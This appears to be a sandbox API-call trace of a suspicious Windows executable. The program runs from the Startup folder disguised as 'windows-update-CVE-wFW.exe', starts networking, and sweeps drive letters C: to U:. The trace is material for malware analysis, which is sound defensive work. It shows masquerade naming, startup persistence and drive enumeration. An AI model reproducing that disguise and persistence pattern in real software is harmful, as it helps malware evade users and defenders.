	[0212.070] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000
	[0212.071] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000
	[0212.072] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f780000
	[0212.072] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000
	[0212.073] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetStdHandle") returned 0x7fff4f79beb0
	[0212.073] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0212.073] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetHandleInformation") returned 0x7fff4f7a1ed0
	[0212.073] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.073] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0212.073] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.073] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0212.073] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.073] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000
	[0212.074] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetSystemDirectoryW") returned 0x7fff4f798ca0
	[0212.074] GetSystemDirectoryW (in: lpBuffer=0xc000096000, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0212.074] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000
	[0212.075] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000
	[0212.075] VirtualAlloc (lpAddress=0xc00009c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009c000
	[0212.076] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000
	[0212.076] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000
	[0212.077] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000
	[0212.077] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000
	[0212.078] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000
	[0212.080] VirtualAlloc (lpAddress=0xc0000b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b6000
	[0212.080] VirtualAlloc (lpAddress=0xc0000b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b8000
	[0212.081] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4e0e0000
	[0212.082] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAStartup") returned 0x7fff4e0e1710
	[0212.082] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000029d20 | out: lpWSAData=0xc000029d20) returned 0
	[0212.089] VirtualAlloc (lpAddress=0xc0000ba000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ba000
	[0212.090] VirtualAlloc (lpAddress=0xc0000ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ca000
	[0212.091] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetFileCompletionNotificationModes") returned 0x7fff4f79bfd0
	[0212.092] GetProcAddress (hModule=0x7fff4e0e0000, lpProcName="WSAEnumProtocolsW") returned 0x7fff4e0f7910
	[0212.092] WSAEnumProtocolsW (in: lpiProtocols=0xc0000c4e68, lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64 | out: lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64) returned 4
	[0212.110] SetEvent (hEvent=0x128) returned 1
	[0212.110] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetConsoleMode") returned 0x7fff4f7a2850
	[0212.110] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0212.110] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileType") returned 0x7fff4f7a2350
	[0212.110] GetFileType (hFile=0x0) returned 0x0
	[0212.110] VirtualAlloc (lpAddress=0xc0000cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000cc000
	[0212.111] VirtualAlloc (lpAddress=0xc0000ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ce000
	[0212.111] SetEvent (hEvent=0xfc) returned 1
	[0212.111] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0212.111] GetFileType (hFile=0x0) returned 0x0
	[0212.111] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0212.112] GetFileType (hFile=0x0) returned 0x0
	[0212.112] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetCommandLineW") returned 0x7fff4f79dbe0
	[0212.112] GetCommandLineW () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe\" "
	[0212.112] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000
	[0212.112] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000
	[0212.113] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000
	[0212.113] VirtualAlloc (lpAddress=0xc0000d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d8000
	[0212.114] VirtualAlloc (lpAddress=0xc0000da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000da000
	[0212.115] VirtualAlloc (lpAddress=0xc0000dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000dc000
	[0212.115] VirtualAlloc (lpAddress=0xc0000de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000de000
	[0212.116] VirtualAlloc (lpAddress=0xc0000e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e0000
	[0212.116] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetEnvironmentVariableW") returned 0x7fff4f79b350
	[0212.116] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0000e0000, nSize=0x64 | out: lpBuffer="") returned 0x0
	[0212.116] VirtualAlloc (lpAddress=0xc0000e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e2000
	[0212.117] VirtualAlloc (lpAddress=0x0, dwSize=0x15f8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea7f740000
	[0212.118] VirtualAlloc (lpAddress=0xc0000e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e4000
	[0212.118] VirtualAlloc (lpAddress=0xc0000e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e8000
	[0212.119] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7fff4f780000
	[0212.119] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetStdHandle") returned 0x7fff4f79beb0
	[0212.119] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0212.119] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetHandleInformation") returned 0x7fff4f7a1ed0
	[0212.120] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.120] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0212.120] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.120] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0212.120] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0212.120] VirtualAlloc (lpAddress=0xc0000ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ea000
	[0212.120] VirtualAlloc (lpAddress=0xc0000ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ec000
	[0212.121] VirtualAlloc (lpAddress=0xc0000ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ee000
	[0212.121] VirtualAlloc (lpAddress=0xc0000f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f0000
	[0212.122] VirtualAlloc (lpAddress=0xc0000f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f2000
	[0212.123] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0xc0000e00d0, nSize=0x64 | out: lpBuffer="C:") returned 0x2
	[0212.123] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000
	[0212.123] VirtualAlloc (lpAddress=0xc0000f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f6000
	[0212.123] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4f780000
	[0212.124] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetModuleFileNameW") returned 0x7fff4f79bfa0
	[0212.124] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc0000f4000, nSize=0x400 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe")) returned 0x57
	[0212.124] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CreateFileW") returned 0x7fff4f7a2100
	[0212.124] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.125] GetProcAddress (hModule=0x7fff4f780000, lpProcName="FindFirstFileW") returned 0x7fff4f7a21e0
	[0212.125] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1ea5a2ad510
	[0212.132] CreateFileW (lpFileName="A:\\" (normalized: "a:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.132] FindFirstFileW (in: lpFileName="A:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.139] CreateFileW (lpFileName="B:\\" (normalized: "b:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.143] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000
	[0212.143] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000
	[0212.144] FindFirstFileW (in: lpFileName="B:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.144] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000
	[0212.151] CreateFileW (lpFileName="D:\\" (normalized: "d:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.152] FindFirstFileW (in: lpFileName="D:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.159] CreateFileW (lpFileName="E:\\" (normalized: "e:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.161] FindFirstFileW (in: lpFileName="E:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.168] CreateFileW (lpFileName="F:\\" (normalized: "f:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.169] FindFirstFileW (in: lpFileName="F:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.175] CreateFileW (lpFileName="G:\\" (normalized: "g:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.176] FindFirstFileW (in: lpFileName="G:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.182] CreateFileW (lpFileName="H:\\" (normalized: "h:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.186] FindFirstFileW (in: lpFileName="H:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.192] CreateFileW (lpFileName="I:\\" (normalized: "i:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.193] FindFirstFileW (in: lpFileName="I:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.198] CreateFileW (lpFileName="J:\\" (normalized: "j:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.200] FindFirstFileW (in: lpFileName="J:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.206] CreateFileW (lpFileName="K:\\" (normalized: "k:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.206] FindFirstFileW (in: lpFileName="K:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.212] CreateFileW (lpFileName="L:\\" (normalized: "l:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.213] FindFirstFileW (in: lpFileName="L:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.219] CreateFileW (lpFileName="M:\\" (normalized: "m:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.223] FindFirstFileW (in: lpFileName="M:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.223] VirtualAlloc (lpAddress=0xc00003e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003e000
	[0212.230] CreateFileW (lpFileName="N:\\" (normalized: "n:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.231] FindFirstFileW (in: lpFileName="N:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.237] CreateFileW (lpFileName="O:\\" (normalized: "o:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.238] FindFirstFileW (in: lpFileName="O:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.244] CreateFileW (lpFileName="P:\\" (normalized: "p:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.245] FindFirstFileW (in: lpFileName="P:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.251] CreateFileW (lpFileName="Q:\\" (normalized: "q:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.251] FindFirstFileW (in: lpFileName="Q:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.257] CreateFileW (lpFileName="R:\\" (normalized: "r:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.260] FindFirstFileW (in: lpFileName="R:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.266] CreateFileW (lpFileName="S:\\" (normalized: "s:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.266] FindFirstFileW (in: lpFileName="S:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.272] CreateFileW (lpFileName="T:\\" (normalized: "t:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.272] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1ea7f8a0000
	[0212.273] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000
	[0212.274] FindFirstFileW (in: lpFileName="T:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0212.280] CreateFileW (lpFileName="U:\\" (normalized: "u:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.281] FindFirstFileW (in: lpFileName="U:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
